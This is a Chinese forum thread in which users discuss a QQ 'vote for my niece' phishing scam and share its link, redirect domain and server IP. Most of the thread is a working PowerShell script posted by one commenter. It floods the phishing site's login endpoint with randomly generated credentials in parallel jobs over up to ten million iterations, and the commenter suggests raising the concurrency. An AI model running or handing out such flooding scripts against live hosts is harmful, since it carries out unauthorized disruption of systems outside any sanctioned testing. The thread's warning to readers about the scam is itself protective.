惊现30年前qq号骗术

jieky

本帖最后由 jieky 于 2024-4-8 14:02 编辑

qq号收到好友请求：xxx帮我投下票http://qQ.0kf.fun/g7pd我外甥女参加比赛是2号，你打开多等一下就可以了。然后就是一个投票站，提示需要输入qq号及密码防止刷票，输入任意qq和密码后提示等待120s验证(估计人工确认)。有大佬搞他吗？

ps：上面是骗子站，大家不要用自己的qq尝试登录，否则有被盗风险。

cangshui

本帖最后由 cangshui 于 2024-4-8 16:12 编辑
[ol]

# 设置请求头

$headers = @{

    "authority"="m.llooqq3z006.top"

    "method"="POST"

    "path"="/qq/login"

    "scheme"="https"

    "accept"="*/*"

    "accept-encoding"="gzip, deflate, br, zstd"

    "accept-language"="zh-CN,zh;q=0.9,en;q=0.8"

    "origin"="https://m.llooqq3z006.top"

    "referer"="https://m.llooqq3z006.top/qq/login?id=8"

    "sec-ch-ua"="`"Google Chrome`";v=`"123`", `"Not:A-Brand`";v=`"8`", `"Chromium`";v=`"123`""

    "sec-ch-ua-mobile"="?0"

    "sec-ch-ua-platform"="`"Windows`""

    "sec-fetch-dest"="empty"

    "sec-fetch-mode"="cors"

    "sec-fetch-site"="same-origin"

    "x-csrf-token"="NzGprpRTbQwKURedzKVZakK4vrVD7Iox2ApkqjpQ"

    "x-requested-with"="XMLHttpRequest"

}

# 设置请求参数和 URL

$url = "https://m.llooqq3z006.top/qq/login"

$id = "8"

$area = ""

for ($i = 1; $i -le 10000000; $i++) {  

# 开始并发执行任务

$parallel = 10  # 修改并发数，根据需要调整

for ($i = 1; $i -le $parallel; $i++) {

    $username = Get-Random -Minimum 10000000 -Maximum 99999999

    Start-Job -ScriptBlock {

        param (

            $url,

            $id,

            $headers,

            $username,

            $area

        )

        

        # 生成随机密码

        $passwordLength = Get-Random -Minimum 10 -Maximum 15

        $password = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count $passwordLength | ForEach-Object {[char]$_})

        

        # 设置请求体

        $body = "id=$id&username=$username&password=$password&area=$area"

        # 发送请求

        Invoke-WebRequest -UseBasicParsing -Uri $url -Method "POST" -Headers $headers -ContentType "application/x-www-form-urlencoded; charset=UTF-8" -Body $body

        # 输出请求信息，可选

        Write-Output "请求使用账号: $username ，密码: $password"

    } -ArgumentList $url, $id, $headers, $username, $area | Out-Null

}

# 等待所有任务完成

Get-Job | Wait-Job

# 获取所有任务的输出

Get-Job | Receive-Job

# 清理任务

Get-Job | Remove-Job

}

[/ol]复制代码

刷请求powershell脚本，并发10，机器内存大可以调高

jqbaobao

149.88.79.76
中国/香港/cogentco.com

jieky

看了下跳转到：m.llooqq3z006.top

karson

话说为什么点进去是百度的玉米？

icon

现在大多数东西，没有手机都登录不上吧。。qq居然还行啊

jieky

icon 发表于 2024-4-8 14:00

现在大多数东西，没有手机都登录不上吧。。qq居然还行啊
应该是广撒网，部分未实名的可能可以登录。

美团骑手

随便输入个QQ密码等待验证，失败后会要求发验证码。

寻湖

https://m1.baidu.com/mip


这是百度什么业务的域名？

jieky

话说，是不是可以批量提交下qq和密码，然后让他人工吐血

？